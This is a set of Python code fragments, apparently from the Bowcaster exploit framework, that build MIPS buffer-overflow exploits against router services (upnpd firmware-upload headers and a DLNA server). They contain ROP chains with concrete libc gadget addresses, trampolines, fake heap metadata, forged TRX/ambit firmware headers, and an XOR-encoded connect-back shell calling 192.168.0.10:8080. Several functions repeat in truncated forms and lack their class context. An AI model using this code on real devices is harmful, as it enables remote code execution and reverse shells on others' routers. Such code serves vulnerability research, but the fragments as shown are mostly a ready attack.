def __build_header(self, checksum=0):
logger = self.logger
SC = SectionCreator(BigEndian, logger=logger)
#Add magic sig to identify ambit header
SC.string_section(self.MAGIC_OFF,
self.MAGIC,
description="Magic bytes for ambit header.")
#Set header size
SC.gadget_section(self.HEADER_SIZE_OFF, self.size,
"Size field representing length of ambit header.")
#Set header checksum
SC.gadget_section(self.HEADER_CHECKSUM_OFF, checksum)
#Set board ID
SC.string_section(self.BOARD_ID_OFF,
self.BOARD_ID,
description="Board ID string.")
buf = OverflowBuffer(BigEndian,
self.size,
overflow_sections=SC.section_list,
logger=logger)
return buf
def __build_header(self):
logger=self.logger
SC=SectionCreator(BigEndian,logger=logger)
SC.string_section(self.MAGIC_OFF,self.MAGIC,
description="Magic bytes for ambit header.")
SC.gadget_section(self.HEADER_SIZE_OFF,self.size,"Size field representing length of ambit header.")
buf=OverflowBuffer(BigEndian,self.size,
overflow_sections=SC.section_list,
logger=logger)
return buf
def __build_header(self, checksum=0):
logger = self.logger
SC = SectionCreator(BigEndian, logger=logger)
#Add magic sig to identify ambit header
SC.string_section(self.MAGIC_OFF,
self.MAGIC,
description="Magic bytes for ambit header.")
#Set header size
SC.gadget_section(self.HEADER_SIZE_OFF, self.size,
"Size field representing length of ambit header.")
#Set header checksum
SC.gadget_section(self.HEADER_CHECKSUM_OFF, checksum)
#Set board ID
SC.string_section(self.BOARD_ID_OFF,
self.BOARD_ID,
description="Board ID string.")
#Partition 1 & 2 sizes
SC.gadget_section(
self.PART_1_SIZE_OFF,
self.trx_image_sz,
description=
"Size of the TRX image. including TRX header, kernel, and filesystem."
)
SC.gadget_section(self.PART_2_SIZE_OFF,
self.PART_2_SIZE,
description="Size 0 for unused second partition.")
#upnpd doesn't check this but the CFE bootlader does
SC.gadget_section(self.PART_1_CHECKSUM_OFF,
self.trx_image_checksum,
description="Checksum of the TRX image.")
SC.gadget_section(
self.FREE_FIXUP_OFF,
self.FREE_FIXUP,
description="fake mem chunk metadata to avoid crashing free().")
buf = OverflowBuffer(BigEndian,
self.size,
overflow_sections=SC.section_list,
logger=logger)
return buf
def __build_header(self, checksum=0):
logger = self.logger
SC = SectionCreator(BigEndian, logger=logger)
SC.string_section(self.MAGIC_OFF,
self.MAGIC,
description="Magic bytes for ambit header.")
SC.gadget_section(self.HEADER_SIZE_OFF, self.size,
"Size field representing length of ambit header.")
#Set header checksum
SC.gadget_section(self.HEADER_CHECKSUM_OFF, checksum)
#Set board ID
SC.string_section(self.BOARD_ID_OFF,
self.BOARD_ID,
description="Board ID string.")
#Partition 1 size:
SC.gadget_section(
self.PART_1_SIZE_OFF,
self.trx_image_sz,
description=
"Size of the TRX image. including TRX header, kernel, and filesystem."
)
SC.gadget_section(self.PART_2_SIZE_OFF,
self.PART_2_SIZE,
description="Size 0 for unused second partition.")
SC.gadget_section(self.PART_1_CHECKSUM_OFF,
self.trx_image_checksum,
description="Checksum of the TRX image.")
SC.gadget_section(
self.PART_1_2_CHECKSUM_OFF,
self.trx_image_checksum,
description="Checksum of the TRX image. Partition 2 is unused.")
SC.string_section(self.VERSION_STRING_OFF,
self.version,
description="Packed version string.")
buf = OverflowBuffer(BigEndian,
self.size,
overflow_sections=SC.section_list,
logger=logger)
return buf
def build_overflow(logger=None):
badchars=["\x00","\x20","\r","\n","\""]
libc_base_address=0x2aaf8000
reg_s0=1007
reg_s1=1011
reg_s2=1015
reg_s3=1019
reg_s4=1023
reg_s5=1027
reg_s6=1031
reg_s7=1035
reg_pc=1043
# First rop gadget loads stack data into $ra
# that correlates to this offset in the exploit string
reg_new_ra=1075
# stack returns correlates
# to this offset into the exploit string.
stack_return=1351
SC=SectionCreator(LittleEndian,base_address=libc_base_address,badchars=badchars,logger=logger)
###########################################################################
# Stages a 2 sec arg to sleep() in $a0
# Stages 0x20+var4($sp) in $ra; return address for sleep()
# Jumps to $s0
###########################################################################
SC.gadget_section(reg_pc,0x0004FA3C,
description="stage arg to sleep in $a0, stage return from sleep in $ra,jalr $s0")
###########################################################################
# Address of sleep() function
###########################################################################
SC.gadget_section(reg_s0,0x56bd0,description="Address of sleep()")
###########################################################################
# Stackfinder. Load the following:
# $s4=$sp+0x5d0+var_5b4
# $s2=$sp+0x5d0+var_428
# $s0=$sp+0x5d0+var_4c0
# Then jalr $s6
###########################################################################
SC.gadget_section(reg_new_ra,0x000255FC,
description="Sleep() returns here.")
###########################################################################
# Jalr to $s0, which should point to the stack.
###########################################################################
SC.gadget_section(reg_s6,0x000159D8,description="jalr to $s0")
###########################################################################
# Connect back payload phones home to 192.168.0.10:8080
###########################################################################
payload=ConnectbackPayload(CALLBACK_IP,LittleEndian)
###########################################################################
# Encode the connect-back payload with an XOR encoder
# to sanitize out null bytes.
###########################################################################
encoded_payload=MipsXorEncoder(payload,key=0xed27926d,badchars=badchars,logger=logger)
SC.string_section(1351,encoded_payload.shellcode,
description="XOR Encoded connect-back payload. connects back to 192.168.0.10:8080.")
# Build the exploit buffer
buf=OverflowBuffer(LittleEndian,2048,overflow_sections=SC.section_list,logger=logger)
return buf
def __init__(self, length, connectback_ip, port=8080, logger=None):
cls = self.__class__
if not logger:
logger = Logging()
self.logger = logger
logger.LOG_INFO("Building buffer overflow.")
ra = 211
s8 = 207
fp = s8
s7 = 203
s6 = 199
s5 = 195
s4 = 191
s3 = 187
s2 = 183
s1 = 179
s0 = 175
SC = SectionCreator(LittleEndian,
badchars=cls.BADCHARS,
base_address=cls.LIBC_BASE)
logger.LOG_INFO("Assembling ROP chain.")
# logger.LOG_INFO("Adding 0x%08x at %d." % (0x4A558,375))
#This needs to be a pointer that can be dereferenced to another pointer,
#which can be incremented to a memory location.
#This is a pointer in the .sdata section that points to itself, and is
#followed by null bytes and is writable.
SC.gadget_section(
375,
0x4A558,
description=
"Placeholder for passed_args[0]. Passed to strcatf() at 0x0041635C.",
base_address=cls.LIBAVUTIL_BASE)
# logger.LOG_INFO("Adding 0x%08x at %d." % (0x0005367A,151))
#This needs to be any readable memory location.
#This points to the string "November" in libc's read-only data section.
SC.gadget_section(
151,
0x0005367A,
description=
"Placeholder for for 'duration' stack hazard. Passed to strcatf() in $a2 at 0x00416EFC.",
base_address=cls.LIBC_BASE)
# SC.gadget_section(151,0x126DB0,
# description="Placeholder for for 'duration' stack hazard. Passed to strcatf() in $a2 at 0x00416EFC.",
# base_address=cls.LIBAVCODEC_BASE)
#
# SC.gadget_section(159,0x126db4,
# description="Pointer to nul bytes.Placeholder for argument to vsnprintf()",
# base_address=cls.LIBAVCODEC_BASE)
# logger.LOG_INFO("Adding 0x%08x at %d." % (0x0005367A,103))
#Pointer to "November" in libc
SC.gadget_section(
103,
0x0005367A,
description=
"Placeholder for 'mime' stack hazard. Passed to strcatf() in $a2 at 0x0041644C",
base_address=cls.LIBC_BASE)
# logger.LOG_INFO("Adding 0x%08x at %d." % (0x0005367A,163))
#Pointer to "November" in libc
SC.gadget_section(
163,
0x0005367A,
description=
"Placeholder from 'detailID stack hazard. Passed to strcatf() in var_110 at 0x41644c",
base_address=cls.LIBC_BASE)
# logger.LOG_INFO("Adding 0x%08x at %d." % (0x1ca490b,391))
SC.gadget_section(
391,
0x1ca490b,
description=
("Arbitrary number that gets transformed into a pointer that can be dereferenced.\n"
+ "Ultimately Passed to strcatf() in var_118 at 0x41644c"),
base_address=0x0)
# logger.LOG_INFO("Adding 0x%08x at %d." % (0x07EC80,363))
SC.gadget_section(
363,
0x07EC80,
description=
"Placeholder for stack hazard. Pointer to this address passed to strcatf() at 0x415064.",
base_address=cls.LIBAVFORMAT_BASE)
# logger.LOG_INFO("Adding 0x%08x at %d." % (0xFFF80BE0,367))
SC.gadget_section(
367,
0xFFF80BE0,
description=
"Placeholder, than when added to the libavformat's .sdata pointer, will result in a pointer into libsqlite's data segment.",
base_address=0x0)
# logger.LOG_INFO("Adding 0x%08x at %d." % (0x1D95C,ra))
# .text:0001D95C move $t9, $s1
# .text:0001D960 lw $ra, 0x28+var_4($sp)
# .text:0001D964 lw $s2, 0x28+var_8($sp)
# .text:0001D968 lw $s1, 0x28+var_C($sp)
# .text:0001D96C lw $s0, 0x28+var_10($sp)
# .text:0001D970 jr $t9
# .text:0001D974 addiu $sp, 0x28
SC.gadget_section(
ra,
0x1D95C,
description=
"[ra] Stage stack data into $ra for return from sleep(), jr $s1.",
base_address=cls.LIBC_BASE)
# logger.LOG_INFO("Adding 0x%08x at %d." % (0x43884,s1))
# .text:00043884 move $t9, $s0
# .text:00043888 li $a0, 2
# .text:0004388C lw $s0, 0x20+var_8($sp)
# .text:00043890 li $a1, 1
# .text:00043894 move $a2, $zero
# .text:00043898 jr $t9
# .text:0004389C addiu $sp, 0x20
SC.gadget_section(
s1, 0x43884, description="[s1] Stage 2 sec arg to sleep(), jr $s0")
#new register offsets (As a result
#of $ra gadget, but before $s1 gadget is loaded by $ra gadget):
ra = 251
s2 = 247
s1 = 243
s0 = 239
# logger.LOG_INFO("Adding 0x%08x at %d." % (0x000506C0,s0))
#Stage sleep() in $s0
SC.gadget_section(
s0,
0x000506C0,
description=
"[s0] Address of sleep(). Next gadget jumps to this address.")
# logger.LOG_INFO("Adding 0x%08x at %d." % (0x000506C0,s2))
SC.gadget_section(
s2,
0x000506C0,
description=
"[s2] A pointer that can be dereferenced with out crashing the next gadget."
)
# logger.LOG_INFO("Adding 0x%08x at %d." % (0x427A8,ra))
# .text:000427A8 addiu $s0, $sp, 0xE0+var_C0
# .text:000427AC lw $a0, 0($s2)
# .text:000427B0 move $a1, $s1
# .text:000427B4 move $a2, $s4
# .text:000427B8 move $t9, $s6
# .text:000427BC jalr $t9
# .text:000427C0 move $a3, $s0
SC.gadget_section(
ra,
0x427A8,
description=
"[ra] Stackfinder. stage 0xE0+var_C0+$sp in $s0, jalr $s6.")
# logger.LOG_INFO("Adding 0x%08x at %d." % (0x10938,s6))
# (Start one instruction early because 3c is a bad byte.)
# .text:00010938 la $t9, free
# .text:0001093C move $t9, $s0
# .text:00010940 jalr $t9
# .text:00010944 move $a0, $s2
SC.gadget_section(s6,
0x10938,
description="[s6] Stackjumper. jalr $s0.")
logger.LOG_INFO("Adding trampoline 1 at offset 319.")
trampoline_1 = Trampoline(LittleEndian, -310)
SC.string_section(
319,
trampoline_1.shellcode,
description="Trampoline back to beginning of buffer.")
logger.LOG_INFO("Adding trampoline 2 at offset 11.")
trampoline_2 = Trampoline(LittleEndian, 1028)
SC.string_section(11,
trampoline_2.shellcode,
description="Trampoline forward to trampoline 3.")
#trampoline_3=Trampoline(LittleEndian,-618)
#SC.string_section(1043,trampoline_3.shellcode,
# description="Trampoline back to payload.")
logger.LOG_INFO("Generating connect-back payload.")
payload = ConnectbackPayload(connectback_ip, LittleEndian, port=port)
try:
logger.LOG_INFO("Attempting to XOR encode payload.")
encoded_payload = MipsXorEncoder(payload,
logger=logger,
badchars=cls.BADCHARS)
except EncoderException as e:
logger.LOG_WARN("%s" % str(e))
raise DLNAOverflowException("Payload generation failed.")
self.logger.LOG_DEBUG("Length of encoded shellcode: %d" %
len(encoded_payload.shellcode))
logger.LOG_INFO("Adding encoded payload at offset 1043.")
#offset 427 with 3trampolines. 1043 with only 2 trampolines
SC.string_section(
1043,
encoded_payload.shellcode,
description="XOR encoded connect-back shell to ip:port %s:%d" %
(connectback_ip, port))
self.buf = OverflowBuffer(LittleEndian, length, SC.section_list)
logger.LOG_INFO("Finished generating overflow string.")
#!/usr/bin/env python
from struct import pack
from bowcaster.development import OverflowBuffer
from bowcaster.common import BigEndian
import sys
sequence = sys.argv[1]
string = pack('>l',int(sequence,16))
oflow = OverflowBuffer(BigEndian,5000)
print oflow.find_offset(string)
def __init__(self, input_files, endianness, logger=None):
if not logger:
logger = Logging(max_level=Logging.DEBUG)
cls = self.__class__
self.endianness = endianness
if len(input_files) < 1 or len(input_files) > 3:
raise TrxHeaderException(
"Must have at least one input file and not more than 3.")
partitions = []
total_size = cls.TRX_HEADER_SIZE
offsets = [0, 0, 0]
i = 0
for file in input_files:
data = open(file, "rb").read()
offsets[i] = total_size
total_size += len(data)
partitions.append(data)
i += 1
sc = SectionCreator(self.endianness)
sc.string_section(cls.TRX_MAGIC_OFFSET,
cls.TRX_MAGIC,
description="TRX magic bytes.")
sc.gadget_section(cls.TRX_SIZE_OFFSET,
total_size,
description="Total size of trx+data.")
version_flags = self._make_version_flags(cls.TRX_FLAGS,
cls.TRX_VERSION)
sc.string_section(cls.TRX_FLAGS_OFFSET,
version_flags,
description="TRX flags & version.")
partition_offset = offsets[0]
sc.gadget_section(cls.TRX_PART_1_OFFSET,
partition_offset,
description="Offset of partition 1.")
partition_offset = offsets[1]
sc.gadget_section(cls.TRX_PART_2_OFFSET,
partition_offset,
description="Offset of partition 2.")
partition_offset = offsets[2]
sc.gadget_section(cls.TRX_PART_3_OFFSET,
partition_offset,
description="Offset of partition 3.")
pre_checksum_header = OverflowBuffer(self.endianness,
cls.TRX_HEADER_SIZE,
sc.section_list)
data = str(pre_checksum_header)
data = data[cls.TRX_FLAGS_OFFSET:]
data += "".join(partitions)
crc = CRC32(data).crc
logger.LOG_DEBUG("TRX crc32: 0x%08x" % crc)
sc.gadget_section(cls.TRX_CRC32_OFFSET,
crc,
description="crc32 of header+data.")
trx_header = OverflowBuffer(self.endianness, cls.TRX_HEADER_SIZE,
sc.section_list)
self.trx_header = str(trx_header)